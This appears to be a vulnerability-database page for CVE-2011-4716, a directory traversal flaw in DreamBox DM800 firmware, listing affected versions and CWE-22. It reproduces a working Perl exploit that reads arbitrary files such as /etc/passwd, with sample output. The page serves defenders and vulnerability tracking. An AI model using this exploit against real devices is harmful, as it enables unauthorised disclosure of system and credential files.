CVE-2011-4716
Description
Directory traversal vulnerability in file in DreamBox DM800 1.6rc3, 1.5rc1, and earlier allows remote attackers to read arbitrary files via the file parameter.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ if you've already worked around this in production โ publish your fix to the community-verified tier.
โ Propose a mitigation on Community โ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here withsource_tier=community-verified.
Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
DreamBox DM800 - Arbitrary File Download
DreamBox DM800 1.5rc1 - File Disclosure
#!/usr/bin/perl
# DreamBox DM800 <= 1.5rc1 Remote File Disclosure Exploit
#
# Author: Todor Donev
# Email: todor.donev@@gmail.com
# Type: Hardware
# Vuln Type: Remote
#####
# Product summary: DreamBox DM800 is Powerful receiver
# for digital TV and Radio programs based on Linux.
# Product web page: http://www.dream-multimedia-tv.de
#####
# playground$ perl dreambox.pl target /etc/passwd
# [+] DreamBox DM800 <= 1.5rc1 Remote File Disclosure Exploit
#
# root:<CENSORED>:0:0:root:/home/root:/bin/sh
# daemon:*:1:1:daemon:/usr/sbin:/bin/sh
# bin:*:2:2:bin:/bin:/bin/sh
# sys:*:3:3:sys:/dev:/bin/sh
# sync:*:4:65534:sync:/bin:/bin/sync
# games:*:5:60:games:/usr/games:/bin/sh
# man:*:6:12:man:/var/cache/man:/bin/sh
# lp:*:7:7:lp:/var/spool/lpd:/bin/sh
# mail:*:8:8:mail:/var/mail:/bin/sh
# news:*:9:9:news:/var/spool/news:/bin/sh
# uucp:*:10:10:uucp:/var/spool/uucp:/bin/sh
# proxy:*:13:13:proxy:/bin:/bin/sh
# www-data:*:33:33:www-data:/var/www:/bin/sh
# backup:*:34:34:backup:/var/backups:/bin/sh
# list:*:38:38:Mailing List Manager:/var/list:/bin/sh
# irc:*:39:39:ircd:/var/run/ircd:/bin/sh
# gnats:*:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
# nobody:*:65534:65534:nobody:/nonexistent:/bin/sh
# avahi:x:500:64002:Avahi:/var/run/avahi-daemon:/bin/sh
# ftp:x:501:64003:Linux User,,,:/var/tmp/ftp:/bin/false
# gbox:<CENSORED>:0:0::/:/bin/sh
#
# playground$
#####
# Thanks to all my friends and special to the best Tsvetelina Emirska,
# that support and respect me !! =)
#####
use LWP::Simple;
print "[+] DreamBox DM800 <= 1.5rc1 Remote File Disclosure\n";
$host = $ARGV[0];
$d = $ARGV[1];
if(! $ARGV[0]) {
print "[!] usg: perl dreambox.pl <host> </path/file>\n";
exit;
}
if(! $ARGV[1]) {
$d = "/etc/passwd";
}
## Edit here for exploitng DreamBox DM800 <= 1.6rc3
# my $result = get("http://$host/file?file=$d");
## Greetings for ShellVision who found this bug in version 1.6rc3
my $result = get("http://$host/file/?file=$d");
if (defined $result) {
print "\n$result";
}
else {
print "[-] Not vuln.. =(";
}
DreamBox DM800 - 'file' Local File Disclosure
Application impact
| Vendor | Product | Versions | Fixed |
|---|---|---|---|
| dream-multimedia-tv | dreambox_dm800_hd_se_firmware | {"endIncluding":"1.6"} | |
| dream-multimedia-tv | dreambox_dm800_hd_se_firmware | 1.5 | |
| dream-multimedia-tv | dreambox_dm800_hd_pvr_firmware | 1.5 | |
| dream-multimedia-tv | dreambox_dm800_hd_pvr_firmware | 1.6 | |
References
CWEs
CWE-22
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.